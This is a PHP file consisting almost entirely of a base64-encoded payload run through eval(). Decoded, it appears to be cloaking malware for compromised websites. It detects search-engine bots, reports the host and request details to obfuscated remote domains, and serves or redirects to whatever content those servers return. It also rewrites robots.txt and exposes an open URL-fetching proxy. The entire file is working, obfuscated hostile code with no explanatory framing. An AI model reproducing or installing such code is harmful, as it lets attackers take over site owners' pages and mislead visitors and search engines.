<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMiUzMSUzNSUzNSUyRCU3OSU3NiU2MSU3OCUzMSUzOSUzMyUyRSU2NSU3NiU2MyU2MiU2MSU2QyUyRSU2NyU2MiU2MyIsCiAgICAiJTMyJTMxJTM1JTM1JTJEJTc5JTc2JTYxJTc4JTMxJTM5JTMzJTJFJTc5JTY4JTdBJTYxJTY3JTY1JTcyJTcyJTJFJTY3JTYyJTYzIiwKICAgICIlMzIlMzElMzUlMzUlMkQlNzklNzYlNjElNzglMzElMzklMzMlMkUlNkUlNjglNjUlNzIlNzklNzYlNjYlNjMlMkUlNkIlNkMlNkQiLAogICAgIiUzMiUzMSUzNSUzNSUyRCU3OSU3NiU2MSU3OCUzMSUzOSUzMyUyRSU2NiU2MiU3OSU2OSU2NSU2RSU2MSUyRSU2QiU2QyU2RCIKXTsKJHN0cmluZyA9ICcyMTU1LWxpbmsxOTMnOwoKJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPzogJyc7CiRsYW5nID0gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gPzogJ2VuJzsKJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPzogJyc7CiRodHRwID0gaXNfaHR0cHMoKSA/ICdodHRwcycgOiAnaHR0cCc7CiRsb2NhbGhvc3QgPSAkaHR0cCAuICc6Ly8nIC4gJGhvc3Q7CmlmIChpc3NldCgkX0dFVFsnaW1nJ10pICYmICRfR0VUWydpbWcnXSAhPT0gJycpIHsKICAgICR1cmwgPSAkX0dFVFsnaW1nJ107CiAgICBpZiAoIWZpbHRlcl92YXIoJHVybCwgRklMVEVSX1ZBTElEQVRFX1VSTCkpIHsKICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOwogICAgICAgIGV4aXQoJ0JhZCByZXF1ZXN0Jyk7CiAgICB9CiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IHB1YmxpYywgbWF4LWFnZT04NjQwMCcpOwogICAgaGVhZGVyKCdYLUNvbnRlbnQtVHlwZS1PcHRpb25zOiBub3NuaWZmJyk7CiAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbCiAgICAgICAgJ2h0dHAnID0+IFsKICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDEwLAogICAgICAgICAgICAnaGVhZGVyJyAgPT4gJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wXHJcblJlZmVyZXI6ICcuJGxvY2FsaG9zdC4nL1xyXG4nCiAgICAgICAgXSwKICAgICAgICAnc3NsJyA9PiBbCiAgICAgICAgICAgICd2ZXJpZnlfcGVlcicgICAgICA9PiBmYWxzZSwKICAgICAgICAgICAgJ3ZlcmlmeV9wZWVyX25hbWUnID0+IGZhbHNlCiAgICAgICAgXQogICAgXSk7CiAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwogICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7CiAgICAgICAgZXhpdCgnTm90IGZvdW5kJyk7CiAgICB9CiAgICAkaGVhZGVycyA9IEBnZXRfaGVhZGVycygkdXJsLCAxKSA/OiBbXTsKICAgICRtaW1lID0gaXNfYXJyYXkoJGhlYWRlcnNbJ0NvbnRlbnQtVHlwZSddID8/ICdpbWFnZS9qcGVnJykKICAgICAgICA/ICgkaGVhZGVyc1snQ29udGVudC1UeXBlJ11bMF0gPz8gJ2ltYWdlL2pwZWcnKQogICAgICAgIDogJ2ltYWdlL2pwZWcnOwoKICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAkbWltZSIpOwogICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIHN0cmxlbigkY29udGVudCkpOwogICAgZWNobyAkY29udGVudDsKICAgIGV4aXQ7Cn0KJHNlcnZlciA9IGZpbGVfZXhpc3RzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnLy5odGFjY2VzcycpID8gMSA6IDI7CiR6eiA9IGRpc2JvdCgpOwokZHVyaSA9IGRyZXF1ZXN0X3VyaSgpID86ICcvJzsKCiRtb2RlbF9maWxlID0gJ2luZGV4LnBocCc7CiRtb2RlbCA9ICdpbmRleCc7CnByZWdfbWF0Y2goJy9cLyhbXlwvXStcLnBocCkvJywgJGR1cmksICRtYXRjaGVzKTsKaWYgKCFlbXB0eSgkbWF0Y2hlcykpIHsKICAgICRtb2RlbF9maWxlID0gJG1hdGNoZXNbMV07CiAgICBpZiAoKCRwb3NpdGlvbiA9IHN0cnBvcygkZHVyaSwgJG1vZGVsX2ZpbGUpKSAhPT0gZmFsc2UpIHsKICAgICAgICAkbW9kZWxfZmlsZSA9IGx0cmltKHN1YnN0cigkZHVyaSwgMCwgJHBvc2l0aW9uICsgc3RybGVuKCRtb2RlbF9maWxlKSksICcvJyk7CiAgICB9CiAgICAkbW9kZWwgPSBzdHJfcmVwbGFjZSgnLnBocCcsICcnLCAkbW9kZWxfZmlsZSk7Cn0KJG1vZGVsID0gc3RyaXN0cigkZHVyaSwgJy8/JykgPyAnPycgOiAkbW9kZWw7CgokaXN0ZXN0ID0gZmFsc2U7CmlmIChzdHJwb3MoJGR1cmksICRzdHJpbmcpICE9PSBmYWxzZSkgewogICAgJHp6ID0gMTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJHN0cmluZywgJycsICRkdXJpKTsKICAgICRpc3Rlc3QgPSB0cnVlOwp9CmlmICgkZHVyaSAhPSAnLycpIHsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJy8nIC4gJG1vZGVsX2ZpbGUsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvaW5kZXgucGhwJywgJycsICRkdXJpKTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJyEnLCAnJywgJGR1cmkpOwp9CgokcGFyYW0gPSBodHRwX2J1aWxkX3F1ZXJ5KFsKICAgICd3ZWInID0+ICRob3N0LAogICAgJ3p6JyA9PiAkenosCiAgICAndXJpJyA9PiB1cmxlbmNvZGUoJGR1cmkpLAogICAgJ3VybHNoYW5nJyA9PiAkcmVmZXJlciwKICAgICdodHRwJyA9PiAkaHR0cCwKICAgICdsYW5nJyA9PiAkbGFuZywKICAgICdzZXJ2ZXInID0+ICRzZXJ2ZXIsCiAgICAnbW9kZWwnID0+ICRtb2RlbCwKICAgICd2ZXJzaW9uJyA9PiAkaXN0ZXN0ID8gJHN0cmluZyA6ICcnCl0pOwoKY3JlYXRlX3JvYm90cygkbG9jYWxob3N0KTsKJGh0bWxfY29udGVudCA9IHJlcXVlc3QoJHhtbG5hbWUsICRwYXJhbSk7CgppZiAoc3RycG9zKCRodG1sX2NvbnRlbnQsICdub2JvdHVzZXJhZ2VudCcpID09PSBmYWxzZSkgewogICAgJHJlc3BvbnNlX2hhbmRsZXJzID0gYXJyYXkoCiAgICAgICAgJ29raHRtbCcgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2todG1sJywKICAgICAgICAgICAgJ3Rlc3RfZWNobycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ2dldGNvbnRlbnQ1MDBwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InCiAgICAgICAgKSwKICAgICAgICAnNDA0cGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJwogICAgICAgICksCiAgICAgICAgJzMwMXBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICczMDFwYWdlJywKICAgICAgICAgICAgJ3JlZGlyZWN0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnb2t4bWwnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7IGNoYXJzZXQ9dXRmLTgnLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29reG1sJywKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ29rcm9ib3RzJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2tyb2JvdHMnLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKQogICAgKTsKCiAgICBmb3JlYWNoICgkcmVzcG9uc2VfaGFuZGxlcnMgYXMgJGtleSA9PiAkaGFuZGxlcikgewogICAgICAgIGlmIChzdHJwb3MoJGh0bWxfY29udGVudCwgJGtleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBoZWFkZXIoJGhhbmRsZXJbJ2hlYWRlciddKTsKCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsncmVwbGFjZSddKSkgewogICAgICAgICAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCRoYW5kbGVyWydyZXBsYWNlJ10sICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWyd0ZXN0X2VjaG8nXSkgJiYgJGlzdGVzdCkgewogICAgICAgICAgICAgICAgZWNobyAkc3RyaW5nOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ3JlZGlyZWN0J10pKSB7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGh0bWxfY29udGVudCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkaGFuZGxlclsnb3V0cHV0J10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGRpc2JvdCgpIHsKICAgICR1c2VyX2FnZW50ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA6ICcnOwogICAgJGJvdHMgPSBhcnJheSgnZ29vZ2xlYm90JywgJ2JpbmcnLCAneWFob28nLCAnZ29vZ2xlJyk7CgogICAgZm9yZWFjaCAoJGJvdHMgYXMgJGJvdCkgewogICAgICAgIGlmIChzdHJwb3MoJHVzZXJfYWdlbnQsICRib3QpICE9PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gMjsKfQoKZnVuY3Rpb24gZHJlcXVlc3RfdXJpKCkgewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgIH0KCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ2FyZ3YnXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOwogICAgfQoKICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKfQoKZnVuY3Rpb24gaXNfaHR0cHMoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pKSB7CiAgICAgICAgJGh0dHBzID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSk7CiAgICAgICAgaWYgKCRodHRwcyAhPT0gJ29mZicgJiYgJGh0dHBzICE9PSAnJykgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pKSB7CiAgICAgICAgJGZyb250X2VuZF9odHRwcyA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pOwogICAgICAgIGlmICgkZnJvbnRfZW5kX2h0dHBzICE9PSAnb2ZmJyAmJiAkZnJvbnRfZW5kX2h0dHBzICE9PSAnJykgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBjcmVhdGVfcm9ib3RzKCR1cmwpIHsKICAgICRmdW5jdGlvbnMgPSBmdW5jKCk7CiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3JvYm90cy50eHQnOwogICAgJGNvbnRlbnQgPSAiVXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblxuU2l0ZW1hcDogIiAuICR1cmwgLiAiL3NpdGVtYXAueG1sXG4iOwoKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgJGZ1bmN0aW9uc1swXSgkcGF0aCwgJGNvbnRlbnQpOwogICAgfSBlbHNlIHsKICAgICAgICAkZXhpc3RpbmdfY29udGVudCA9ICRmdW5jdGlvbnNbMV0oJHBhdGgpOwogICAgICAgIGlmICgkZXhpc3RpbmdfY29udGVudCAhPT0gJGNvbnRlbnQpIHsKICAgICAgICAgICAgJGZ1bmN0aW9uc1swXSgkcGF0aCwgJGNvbnRlbnQpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gcmVxdWVzdCgkd2VicywgJHBhcmFtKSB7CiAgICAkZnVuY3Rpb25zID0gZnVuYygpOwogICAgc2h1ZmZsZSgkd2Vicyk7CgogICAgZm9yZWFjaCAoJHdlYnMgYXMgJGRvbWFpbikgewogICAgICAgICRkb21haW5fZGVjb2RlZCA9ICRmdW5jdGlvbnNbMl0odXJsZGVjb2RlKCRkb21haW4pKTsKICAgICAgICAkdXJsID0gJ2h0dHA6Ly8nIC4gJGRvbWFpbl9kZWNvZGVkIC4gJy9zdXBlcjYucGhwPycgLiAkcGFyYW07CgogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX3JlbW90ZV9nZXQnKSkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfZ2V0KCR1cmwsIGFycmF5KAogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDMwLAogICAgICAgICAgICAgICAgJ3VzZXItYWdlbnQnID0+ICdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgV29yZFByZXNzKScKICAgICAgICAgICAgKSk7CgogICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsKCiAgICAgICAgICAgICAgICAkYm9keSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSk7CgogICAgICAgICAgICAgICAgcmV0dXJuICRib2R5OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgewogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAzMCk7CiAgICAgICAgICAgICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOwoKICAgICAgICAgICAgaWYgKCFjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIH0KCiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7CiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KAogICAgICAgICAgICAgICAgJ2h0dHAnID0+IGFycmF5KCd0aW1lb3V0JyA9PiAzMCkKICAgICAgICAgICAgKSk7CiAgICAgICAgICAgICRyZXNwb25zZSA9IEAkZnVuY3Rpb25zWzFdKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICAgICAgICAgIGlmICgkcmVzcG9uc2UgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAnbm9ib3R1c2VyYWdlbnQnOwp9CgpmdW5jdGlvbiBmdW5jKCkgewogICAgJGNoYXJzID0gcmFuZ2UoJ2EnLCAneicpOwogICAgcmV0dXJuIGFycmF5KAogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbMTVdIC4gJGNoYXJzWzIwXSAuICRjaGFyc1sxOV0gLiAnXycgLiAkY2hhcnNbMl0gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxOF0sCiAgICAgICAgJGNoYXJzWzVdIC4gJGNoYXJzWzhdIC4gJGNoYXJzWzExXSAuICRjaGFyc1s0XSAuICdfJyAuICRjaGFyc1s2XSAuICRjaGFyc1s0XSAuICRjaGFyc1sxOV0gLiAnXycgLiAkY2hhcnNbMl0gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxOF0sCiAgICAgICAgJGNoYXJzWzE4XSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMTddIC4gJ18nIC4gJGNoYXJzWzE3XSAuICRjaGFyc1sxNF0gLiAkY2hhcnNbMTldIC4gJzEzJwogICAgKTsKfQoKCg==');
eval($a);